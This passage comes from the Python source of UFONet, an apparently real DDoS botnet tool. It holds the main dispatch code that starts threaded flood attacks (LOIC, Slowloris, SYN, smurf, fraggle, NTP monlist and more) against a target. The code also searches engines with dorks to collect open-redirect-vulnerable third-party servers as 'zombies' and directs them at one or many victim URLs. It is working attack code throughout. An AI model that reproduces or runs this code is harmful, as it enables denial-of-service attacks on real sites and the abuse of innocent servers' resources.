  1062. for _flag, _val, _label, _cls in _v2_http:
  1063. if _val and _attack_target:
  1064. try:
  1065. _rounds = int(_val)
  1066. except Exception:
  1067. _rounds = 101
  1068. if _rounds < 1:
  1069. _rounds = 101
  1070. if not _banner_shown:
  1071. self.banner()
  1072. _banner_shown = True
  1073. if _label == 'GOLDENEYE':
  1074. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds, options.proxy))
  1075. else:
  1076. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds))
  1077. _t.daemon = True
  1078. _t.start()
  1079. _v2_threads.append((_flag, _t))
  1080. _mods_fired.append(_flag)
  1081. _legacy_extras = [
  1082. ('loic', options.loic, LOIC, 'http_with_proxy'),
  1083. ('loris', options.loris, LORIS, 'http'),
  1084. ('ufosyn', options.ufosyn, UFOSYN, 'raw_with_port'),
  1085. ('spray', options.spray, SPRAY, 'raw_with_port'),
  1086. ('smurf', options.smurf, SMURF, 'raw_with_port'),
  1087. ('fraggle', options.fraggle, FRAGGLE, 'raw_with_port'),
  1088. ('xmas', options.xmas, XMAS, 'raw_with_port'),
  1089. ('ufoack', options.ufoack, UFOACK, 'raw_with_port'),
  1090. ('uforst', options.uforst, UFORST, 'raw_with_port'),
  1091. ('droper', options.droper, DROPER, 'raw_with_port'),
  1092. ('overlap', options.overlap, OVERLAP, 'raw_with_port'),
  1093. ('pinger', options.pinger, PINGER, 'raw_with_port'),
  1094. ('ufoudp', options.ufoudp, UFOUDP, 'raw_with_port'),
  1095. ('nuke', options.nuke, NUKE, 'raw_simple'),
  1096. ('tachyon', options.tachyon, TACHYON, 'raw_simple'),
  1097. ('monlist', options.monlist, MONLIST, 'raw_simple'),
  1098. ('sniper', options.sniper, SNIPER, 'raw_simple'),
  1099. ]
  1100. _legacy_fired = False
  1101. _legacy_threads = []
  1102. _legacy_labels = []
  1103. for _flag, _val, _cls, _kind in _legacy_extras:
  1104. if not _val or not _attack_target:
  1105. continue
  1106. try:
  1107. _rounds = int(_val)
  1108. except Exception:
  1109. _rounds = 101
  1110. if _rounds < 1:
  1111. _rounds = 101
  1112. if not _legacy_fired:
  1113. if not _banner_shown:
  1114. self.banner()
  1115. _banner_shown = True
  1116. _legacy_fired = True
  1117. if _kind == 'http_with_proxy':
  1118. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds, options.proxy))
  1119. else:
  1120. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds))
  1121. _t.daemon = True
  1122. _t.start()
  1123. _legacy_threads.append(_t)
  1124. _legacy_labels.append(_flag)
  1125. setattr(options, _flag, None)
  1126. _all_threads = list(_v2_threads) + [(_legacy_labels[_i], _t) for _i, _t in enumerate(_legacy_threads)]
  1127. _legacy_deadline = time.time() + 30
  1128. for _flag, _t in _all_threads:
  1129. _remaining = max(0.1, _legacy_deadline - time.time())
  1130. _t.join(timeout=_remaining)
  1131. _still_alive = [_flag for _flag, _t in _all_threads if _t.is_alive()]
  1132. _mods_fired = [_f for _f in _mods_fired if _f not in _still_alive]
  1133. if _mod_target:
  1134. print("\n" + '='*55)
  1135. print("[Info] [AI] Mod-only mode summary -> [-m " + str(_mod_target) + "]")
  1136. print('='*55)
  1137. print("[Info] [AI] target : " + str(_mod_target))
  1138. if _mods_fired:
  1139. print("[Info] [AI] fired : " + ", ".join(_mods_fired))
  1140. if _legacy_fired:
  1141. _done = [l for l in _legacy_labels if l not in _still_alive]
  1142. if _done:
  1143. print("[Info] [AI] legacy : " + ", ".join(_done) + " -> [DONE]")
  1144. if _still_alive:
  1145. print("[Info] [AI] running : " + ", ".join(_still_alive) + " -> [persistent connections; cut after summary]")
  1146. if _mods_skipped:
  1147. print("[Info] [AI] skipped : " + ", ".join(_mods_skipped) + " -> [empty botnet file or placeholders only]")
  1148. if not _mods_fired and not _legacy_fired:
  1149. print("[Info] [AI] result : no mod fired -> [check Extra(s) values and botnet/*.txt files]")
  1150. print('='*55 + "\n")
  1151. sys.stdout.flush()
  1152. os._exit(0)
  1153. if _zombie_thread_started:
  1154. _zombie_thread.join(timeout=600)
  1155. if _zombie_thread.is_alive():
  1156. print("[Info] [AI] zombie attack still running (long-tail) -> [exiting after summary]")
  1157. sys.stdout.flush()
  1158. os._exit(0)
  1159. if _legacy_fired and not (options.target or options.search or options.dorks or options.autosearch or options.target_list or options.testall or options.testoffline or options.test or options.attackme):
  1160. return
  1161. # search for [Zombies] on search engines results (dorking)
  1162. if options.search:
  1163. zombies = []
  1164. if options.engine:
  1165. engine = options.engine
  1166. else:
  1167. engine = "duck" # default search engine
  1168. try:
  1169. self.banner()
  1170. if not os.path.exists(self.humans_file) == True:
  1171. f = open(self.humans_file, 'w')
  1172. f.close()
  1173. lf = open(self.humans_file, 'r')
  1174. restored = lf.readlines()
  1175. zombies_restored = len(restored)
  1176. lf.close()
  1177. lz = open(self.zombies_file, 'r')
  1178. zombies_army = lz.readlines()
  1179. for zombie in zombies_army:
  1180. zombies.append(zombie) # add zombies from army to the zombies pool
  1181. lz.close()
  1182. if len(restored) > 0:
  1183. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1184. if not self.options.forceyes:
  1185. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1186. print('-'*25)
  1187. else:
  1188. backup_reply = "Y"
  1189. if backup_reply == "n" or backup_reply == "N":
  1190. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  1191. os.remove(self.humans_file)
  1192. zombies_restored = 0 # flush zombies restored
  1193. print('-'*25 + "\n")
  1194. else:
  1195. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  1196. print('-'*25 + "\n")
  1197. for zombie in restored:
  1198. zombies.append(zombie) # add previous data to zombies pool
  1199. if options.allengines:
  1200. if options.ex_engine: # exclude some search engines manually
  1201. exclude = options.ex_engine.split(",")
  1202. for ex in exclude:
  1203. ex = ex.lower()
  1204. if ex in self.search_engines:
  1205. if len(self.search_engines) == 1: # at least one should make it
  1206. pass
  1207. else:
  1208. self.search_engines.remove(ex)
  1209. for e in self.search_engines:
  1210. engine = e
  1211. print('='*44)
  1212. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  1213. print('='*44 + '\n')
  1214. self.options.engine = engine
  1215. try:
  1216. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  1217. if zombies_chain != None:
  1218. for zombie in zombies_chain:
  1219. if zombie not in zombies: # evade possible repetitions
  1220. zombies.append(zombie)
  1221. except:
  1222. if zombies: # backup all new zombies found to file in case of exception
  1223. for zombie in zombies:
  1224. if zombie+os.linesep not in restored: # only append new zombies found
  1225. with open(self.humans_file, "a") as f:
  1226. f.write(str(zombie+os.linesep))
  1227. else:
  1228. if restored:
  1229. print('='*44)
  1230. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  1231. print('='*44 + '\n')
  1232. if restored: # from restored file
  1233. try:
  1234. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  1235. if zombies_chain != None:
  1236. for zombie in zombies_chain:
  1237. if zombie not in zombies: # evade possible repetitions
  1238. zombies.append(zombie)
  1239. except:
  1240. if zombies: # backup all new zombies found to file in case of exception
  1241. for zombie in zombies:
  1242. if zombie+os.linesep not in restored: # only append new zombies found
  1243. with open(self.humans_file, "a") as f:
  1244. f.write(str(zombie+os.linesep))
  1245. else:
  1246. try:
  1247. zombies = self.search_zombies(dork='', zombies_found=zombies)
  1248. except:
  1249. if zombies: # backup all new zombies found to file in case of exception
  1250. for zombie in zombies:
  1251. if zombie+os.linesep not in restored: # only append new zombies found
  1252. with open(self.humans_file, "a") as f:
  1253. f.write(str(zombie+os.linesep))
  1254. total_restored = zombies_restored
  1255. new_zombies = 0 # new zombies counter
  1256. f = open(self.zombies_file, 'r')
  1257. zz = f.readlines()
  1258. f.close()
  1259. zombies_found = []
  1260. for z in zombies:
  1261. if z.endswith(os.linesep):
  1262. z = z.replace(os.linesep, "")
  1263. if z not in zz and z+os.linesep not in zz:
  1264. new_zombies = new_zombies + 1
  1265. zombies_found.append(z)
  1266. print('='*62)
  1267. print("\n- Victims found:", len(zombies_found), "\n")
  1268. print(" - Restored:", total_restored)
  1269. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  1270. print('-'*32)
  1271. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1272. print('='*62 + '\n')
  1273. if len(zombies) > 0:
  1274. if not self.options.forceyes:
  1275. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1276. print('-'*25)
  1277. else:
  1278. check_backup_reply = "Y"
  1279. if check_backup_reply == "n" or check_backup_reply == "N":
  1280. if os.path.isfile(self.humans_file):
  1281. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1282. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1283. else:
  1284. with open(self.humans_file, "w") as f:
  1285. for z in zombies_found:
  1286. if z.endswith(os.linesep):
  1287. z = z.replace(os.linesep, "")
  1288. if z not in zz or z+os.linesep not in zz:
  1289. f.write(z+os.linesep)
  1290. f.close()
  1291. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1292. print('-'*25 + "\n")
  1293. if new_zombies and new_zombies > 0:
  1294. if not self.options.forceyes:
  1295. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1296. print('-'*25 + "\n")
  1297. else:
  1298. check_url_link_reply = "Y"
  1299. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1300. print("[AI] "+self.exit_msg+"\n")
  1301. pass
  1302. else:
  1303. print("\n" + '='*44)
  1304. test = self.testing(zombies_found)
  1305. else:
  1306. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  1307. except Exception:
  1308. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  1309. # search for [Zombies] from a list of [Dorks]
  1310. if options.dorks:
  1311. if options.engine:
  1312. engine = options.engine
  1313. else:
  1314. engine = "duck" # default search engine
  1315. try:
  1316. dorks = self.extract_dorks()
  1317. if not dorks:
  1318. return
  1319. zombies = []
  1320. self.banner()
  1321. if not os.path.exists(self.humans_file) == True:
  1322. f = open(self.humans_file, 'w')
  1323. f.close()
  1324. lf = open(self.humans_file, 'r')
  1325. restored = lf.readlines()
  1326. zombies_restored = len(restored)
  1327. lf.close()
  1328. lz = open(self.zombies_file, 'r')
  1329. zombies_army = lz.readlines()
  1330. for zombie in zombies_army:
  1331. zombies.append(zombie) # add zombies from army to the zombies pool
  1332. lz.close()
  1333. if len(restored) > 0:
  1334. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1335. if not self.options.forceyes:
  1336. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1337. print('-'*25)
  1338. else:
  1339. backup_reply = "Y"
  1340. if backup_reply == "n" or backup_reply == "N":
  1341. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  1342. os.remove(self.humans_file)
  1343. zombies_restored = 0 # flush zombies restored
  1344. print('-'*25 + "\n")
  1345. else:
  1346. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  1347. print('-'*25 + "\n")
  1348. for zombie in restored:
  1349. zombies.append(zombie) # add previous data to zombies pool
  1350. total_restored = zombies_restored
  1351. if options.allengines:
  1352. if options.ex_engine: # exclude some search engines manually
  1353. exclude = options.ex_engine.split(",")
  1354. for ex in exclude:
  1355. ex = ex.lower()
  1356. if ex in self.search_engines:
  1357. if len(self.search_engines) == 1: # at least one should make it
  1358. pass
  1359. else:
  1360. self.search_engines.remove(ex)
  1361. for e in self.search_engines:
  1362. engine = e
  1363. print('='*44)
  1364. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  1365. print('='*44 + '\n')
  1366. self.options.engine = engine
  1367. for dork in dorks:
  1368. print('='*22)
  1369. print("Dork:", dork)
  1370. print('='*22 + '\n')
  1371. try:
  1372. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  1373. for zombie in dorked_zombies:
  1374. if zombie not in zombies: # evade repetitions for zombies found
  1375. zombies.append(zombie)
  1376. if zombie+os.linesep not in restored: # only append new zombies found
  1377. with open(self.humans_file, "a") as f:
  1378. f.write(str(zombie+os.linesep))
  1379. f.close()
  1380. except:
  1381. if zombies: # backup new zombies found on exception
  1382. for zombie in zombies:
  1383. if zombie+os.linesep not in restored: # only append new zombies found
  1384. with open(self.humans_file, "a") as f:
  1385. f.write(str(zombie+os.linesep))
  1386. f.close()
  1387. else:
  1388. if restored:
  1389. print('='*44)
  1390. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  1391. print('='*44 + '\n')
  1392. for dork in dorks:
  1393. print('='*22)
  1394. print("Dork:", dork)
  1395. print('='*22 + '\n')
  1396. try:
  1397. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  1398. if dorked_zombies != None:
  1399. for zombie in dorked_zombies:
  1400. if zombie not in zombies: # evade repetitions for zombies found
  1401. zombies.append(zombie)
  1402. except:
  1403. if zombies: # backup new zombies found on exception
  1404. for zombie in zombies:
  1405. if zombie+os.linesep not in restored: # only append new zombies found
  1406. with open(self.humans_file, "a") as f:
  1407. f.write(str(zombie+os.linesep))
  1408. f.close()
  1409. new_zombies = 0 # new zombies counter
  1410. f = open(self.zombies_file, 'r')
  1411. zz = f.readlines()
  1412. f.close()
  1413. zombies_found = []
  1414. for z in zombies:
  1415. if z.endswith(os.linesep):
  1416. z = z.replace(os.linesep, "")
  1417. if z not in zz and z+os.linesep not in zz:
  1418. new_zombies = new_zombies + 1
  1419. zombies_found.append(z)
  1420. print('='*62)
  1421. print("\n- Victims found:", len(zombies_found), "\n")
  1422. print(" - Restored:", total_restored)
  1423. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  1424. print('-'*32)
  1425. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1426. print('='*62 + '\n')
  1427. if len(zombies_found) > 0:
  1428. if not self.options.forceyes:
  1429. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1430. print('-'*25)
  1431. else:
  1432. check_backup_reply = "Y"
  1433. if check_backup_reply == "n" or check_backup_reply == "N":
  1434. if os.path.isfile(self.humans_file):
  1435. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1436. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1437. else:
  1438. with open(self.humans_file, "w") as f:
  1439. for z in zombies_found:
  1440. if z.endswith(os.linesep):
  1441. z = z.replace(os.linesep, "")
  1442. if z not in zz or z+os.linesep not in zz:
  1443. f.write(z+os.linesep)
  1444. f.close()
  1445. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1446. print('-'*25 + "\n")
  1447. if new_zombies and new_zombies > 0:
  1448. if not self.options.forceyes:
  1449. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1450. print('-'*25 + "\n")
  1451. else:
  1452. check_url_link_reply = "Y"
  1453. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1454. print("[AI] "+self.exit_msg+"\n")
  1455. pass
  1456. else:
  1457. print("\n" + '='*44)
  1458. test = self.testing(zombies_found)
  1459. else:
  1460. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1461. except Exception:
  1462. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  1463. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  1464. if options.autosearch:
  1465. try:
  1466. dorks = self.extract_dorks()
  1467. except:
  1468. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  1469. return
  1470. engines_list = self.search_engines
  1471. stop_flag = False # use a flag to establish an end
  1472. try:
  1473. self.banner()
  1474. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  1475. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  1476. print('-'*25 + "\n")
  1477. zombies_found = []
  1478. lz = open(self.zombies_file, 'r')
  1479. zombies_army = lz.readlines()
  1480. for zombie in zombies_army:
  1481. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  1482. lz.close()
  1483. if not os.path.exists(self.humans_file) == True:
  1484. f = open(self.humans_file, 'w')
  1485. f.close()
  1486. lf = open(self.humans_file, 'r')
  1487. restored = lf.readlines()
  1488. zombies_restored = len(restored)
  1489. lf.close()
  1490. if len(restored) > 0:
  1491. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  1492. if not self.options.forceyes:
  1493. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  1494. print('-'*25)
  1495. else:
  1496. backup_reply = "Y"
  1497. if backup_reply == "n" or backup_reply == "N":
  1498. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  1499. os.remove(self.humans_file)
  1500. zombies_restored = 0 # flush zombies restored
  1501. print('-'*25 + "\n")
  1502. else:
  1503. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  1504. print('-'*25 + "\n")
  1505. for zombie in restored:
  1506. zombies_found.append(zombie) # add previous data to zombies found pool
  1507. total_restored = zombies_restored
  1508. while stop_flag == False:
  1509. if not os.path.exists(self.humans_file) == True:
  1510. f = open(self.humans_file, 'w')
  1511. f.close()
  1512. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  1513. restored = lf.readlines()
  1514. lf.close()
  1515. zombies_restored = len(restored)
  1516. for e in engines_list:
  1517. zombies_counter = 0 # use it also as (engine) flag
  1518. engine = e
  1519. self.options.engine = engine
  1520. print('='*44 + '\n')
  1521. print(("[AI] Searching for zombies using: "+engine+'\n'))
  1522. print('='*44 + '\n')
  1523. for dork in dorks:
  1524. print('='*22)
  1525. print("Dork:", dork)
  1526. print('='*22 + '\n')
  1527. try:
  1528. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  1529. for zombie in dorked_zombies:
  1530. if zombie not in zombies_found: # evade repetitions for zombies found
  1531. zombies_found.append(zombie)
  1532. if zombie+os.linesep not in restored: # only append new zombies found
  1533. with open(self.humans_file, "a") as f:
  1534. f.write(str(zombie+os.linesep))
  1535. f.close()
  1536. zombies_counter = zombies_counter + 1
  1537. except:
  1538. if zombies_found: # backup new zombies found on exception
  1539. for zombie in zombies_found:
  1540. if zombie+os.linesep not in restored: # only append new zombies found
  1541. with open(self.humans_file, "a") as f:
  1542. f.write(str(zombie+os.linesep))
  1543. f.close()
  1544. if zombies_counter == 0:
  1545. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  1546. print('-'*25 + "\n")
  1547. engines_list.remove(engine) # remove not more results engine from search engines list
  1548. if not engines_list: # if search engines empty, call return-exit routine
  1549. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  1550. print('-'*25 + "\n")
  1551. stop_flag = True # exit flag up
  1552. new_zombies = 0 # new zombies counter
  1553. f = open(self.zombies_file, 'r')
  1554. zz = f.readlines()
  1555. f.close()
  1556. all_zombies_found = []
  1557. for z in zombies_found:
  1558. if z.endswith(os.linesep):
  1559. z = z.replace(os.linesep, "")
  1560. if z not in zz and z+os.linesep not in zz:
  1561. new_zombies = new_zombies + 1
  1562. all_zombies_found.append(z)
  1563. print('='*62)
  1564. print("\n- Victims found:", len(all_zombies_found), "\n")
  1565. print(" - Restored:", total_restored)
  1566. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  1567. print('-'*32)
  1568. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  1569. print('='*62 + '\n')
  1570. if len(zombies_found) > 0:
  1571. if not self.options.forceyes:
  1572. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  1573. print('-'*25)
  1574. else:
  1575. check_backup_reply = "Y"
  1576. if check_backup_reply == "n" or check_backup_reply == "N":
  1577. if os.path.isfile(self.humans_file):
  1578. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  1579. print("\n[Info] [AI] Temporal data correctly removed...\n")
  1580. else:
  1581. with open(self.humans_file, "w") as f:
  1582. for z in all_zombies_found:
  1583. if z.endswith(os.linesep):
  1584. z = z.replace(os.linesep, "")
  1585. if z not in zz or z+os.linesep not in zz:
  1586. f.write(z+os.linesep)
  1587. f.close()
  1588. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1589. print('-'*25 + "\n")
  1590. if new_zombies and new_zombies > 0:
  1591. if not self.options.forceyes:
  1592. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1593. print('-'*25 + "\n")
  1594. else:
  1595. check_url_link_reply = "Y"
  1596. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1597. print("[AI] "+self.exit_msg+"\n")
  1598. pass
  1599. else:
  1600. print("\n" + '='*44)
  1601. test = self.testing(all_zombies_found)
  1602. else:
  1603. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1604. except Exception:
  1605. print ("[Error] [AI] Something wrong (auto)searching...\n")
  1606. # test web 'zombie' servers -> show statistics
  1607. if options.test:
  1608. try:
  1609. self.banner()
  1610. zombies = self.extract_zombies()
  1611. if not zombies:
  1612. return
  1613. test = self.testing(zombies)
  1614. self.update_missions_stats() # update mothership missions stats
  1615. except Exception:
  1616. print ("\n[Error] [AI] Something wrong testing!\n")
  1617. if DEBUG == True:
  1618. traceback.print_exc()
  1619. # test XML-'rpc' pingback vulnerable servers -> update list
  1620. if options.testrpc:
  1621. try:
  1622. self.banner()
  1623. rpcs = self.extract_rpcs()
  1624. if not rpcs:
  1625. return
  1626. testrpc = self.testing_rpcs(rpcs)
  1627. self.update_missions_stats() # update mothership missions stats
  1628. except Exception:
  1629. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  1630. if DEBUG == True:
  1631. traceback.print_exc()
  1632. # check botnet searching for zombies offline
  1633. if options.testoffline:
  1634. try:
  1635. self.banner()
  1636. testbotnet = self.testing_offline()
  1637. self.update_missions_stats() # update mothership missions stats
  1638. except Exception:
  1639. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1640. if DEBUG == True:
  1641. traceback.print_exc()
  1642. # check ALL botnet status
  1643. if options.testall:
  1644. try:
  1645. self.banner()
  1646. test_all_botnet = self.testing_all()
  1647. self.update_missions_stats() # update mothership missions stats
  1648. except Exception:
  1649. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1650. if DEBUG == True:
  1651. traceback.print_exc()
  1652. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1653. if options.target:
  1654. try:
  1655. self.banner()
  1656. from core._botnet import is_placeholder as _is_ph
  1657. zombies = self.extract_zombies() or []
  1658. zombies = [z for z in zombies if not _is_ph(z)]
  1659. if not zombies:
  1660. print("\n[Error] [AI] No real zombies in botnet/zombies.txt (file empty or only placeholders).")
  1661. print("[Info] [AI] Populate it first: ./ufonet -s 'page.php?url=' (or --auto-search / --sd botnet/dorks.txt)")
  1662. print("[Info] [AI] -> [Aborting!]\n")
  1663. sys.stdout.flush()
  1664. os._exit(0)
  1665. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1666. attack = self.attacking(zombies, options.target)
  1667. self.update_missions_stats() # update mothership missions stats
  1668. sys.stdout.flush()
  1669. os._exit(0)
  1670. except Exception:
  1671. print ("\n[Error] [AI] Something wrong attacking!\n")
  1672. if DEBUG == True:
  1673. traceback.print_exc()
  1674. sys.stdout.flush()
  1675. os._exit(1)
  1676. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1677. if options.target_list:
  1678. try:
  1679. self.banner()
  1680. zombies = self.extract_zombies()
  1681. if not zombies:
  1682. return
  1683. targets = self.extract_target_list()
  1684. if not targets:
  1685. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1686. return
  1687. self.options.forceyes = True # force-yes ON!
  1688. self.num_target_list = 0
  1689. print("\n[AI] Checking integrity of targets...\n")
  1690. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1691. if not t.startswith("http"): # discarded inmediately
  1692. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1693. targets.remove(t) # ¿remove? invalid targets
  1694. print("")
  1695. c = 0
  1696. for target in targets:
  1697. if target == "":
  1698. c = c + 1
  1699. else:
  1700. self.num_target_list = self.num_target_list + 1
  1701. if c == len(targets):
  1702. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1703. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1704. else:
  1705. for target in targets:
  1706. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1707. target = self.options.target
  1708. print('='*55 + "\n")
  1709. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1710. print("="*55)
  1711. attack = self.attacking(zombies, target)
  1712. self.update_missions_stats() # update mothership missions stats (each target counts)
  1713. except Exception:
  1714. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1715. if DEBUG == True:
  1716. traceback.print_exc()
  1717. # inspect target -> inspect target's components sizes
  1718. if options.inspect:
  1719. try:
  1720. self.banner()
  1721. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1722. print('='*22 + '\n')
  1723. self.instance = Inspector(self) # instance main class for inspection operations
  1724. inspection = self.instance.inspecting(options.inspect)
  1725. self.update_missions_stats() # update mothership missions stats
  1726. except Exception as e:
  1727. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1728. if DEBUG == True:
  1729. traceback.print_exc()
  1730. return #sys.exit(2)
  1731. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1732. if options.abduction:
  1733. try:
  1734. self.banner()
  1735. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1736. print('='*22 + '\n')
  1737. self.instance = Abductor(self) # instance main class for abduction operations
  1738. abduction = self.instance.abducting(options.abduction)
  1739. self.update_missions_stats() # update mothership missions stats
  1740. except Exception as e:
  1741. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1742. if DEBUG == True:
  1743. traceback.print_exc()
  1744. return #sys.exit(2)
  1745. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1746. if options.attackme:
  1747. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1748. try:
  1749. self.banner()
  1750. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1751. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1752. if not self.options.forceyes:
  1753. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1754. else:
  1755. update_reply = "Y"
  1756. if update_reply == "n" or update_reply == "N":
  1757. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1758. return
  1759. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1760. print("\n[Info] Mothership ID: " + self.mothership_id + "\n[Info] RND: " + self.mothership_hash)
  1761. print("\n[AI] Checking NAT/IP configuration:\n")
  1762. nat = self.check_nat()
  1763. f = open("alien", "w") # generate random alien worker
  1764. f.write(str(self.mothership_hash))
  1765. f.close()
  1766. if self.nat_error_flag == "ON":
  1767. return
  1768. zombies = self.extract_zombies()
  1769. if not zombies:
  1770. return
  1771. attackme = self.attackme(zombies)
  1772. self.update_missions_stats() # update mothership missions stats
  1773. except Exception as e:
  1774. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1775. if DEBUG == True:
  1776. traceback.print_exc()
  1777. return #sys.exit(2)
  1778. # check/update for latest stable version
  1779. if options.update:
  1780. self.banner()
  1781. try:
  1782. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1783. Updater()
  1784. except:
  1785. print("Not any .git repository found!\n")
  1786. print("="*30)
  1787. print("\nTo have working this feature, you should clone UFONet with:\n")
  1788. print("$ git clone %s" % self.GIT_REPOSITORY)
  1789. print("\nAlso you can try this other mirror:\n")
  1790. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1791. # launch GUI/Web interface
  1792. if options.web:
  1793. self.create_web_interface()
  1794. return
  1795. # deploy data to share in [/var/www/ufonet]
  1796. if options.deploy:
  1797. self.banner()
  1798. euid = self.checkeuid()
  1799. if euid != 0:
  1800. print("\n[Info] [AI] [Control] [DEPLOY] (--deploy) not started as root...\n")
  1801. try:
  1802. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1803. os.execlpe('sudo', *args)
  1804. except:
  1805. pass
  1806. try:
  1807. print("\n[AI] Trying to deploy data to share in: '"+self.warping_path+"'\n")
  1808. np = r''+self.warping_path+''
  1809. if not os.path.exists(np):
  1810. os.makedirs(np)
  1811. print("[AI] Created folder at: '"+self.warping_path+"'\n")
  1812. else:
  1813. print("[AI] Path to folder: '"+self.warping_path+"' exists! -> [Passing!]\n")
  1814. from pathlib import Path # import pathlib
  1815. import shutil # import shutil
  1816. src = 'data/'
  1817. files=os.listdir(src)
  1818. print("[AI] GUI [Data] has been deployed...\n")
  1819. for fname in files:
  1820. shutil.copy2(os.path.join(src,fname), self.warping_path)
  1821. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1822. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1823. print("")
  1824. src2 = 'botnet/'
  1825. files=os.listdir(src2)
  1826. print("[AI] CORE [Botnet] has been deployed...\n")
  1827. for fname in files:
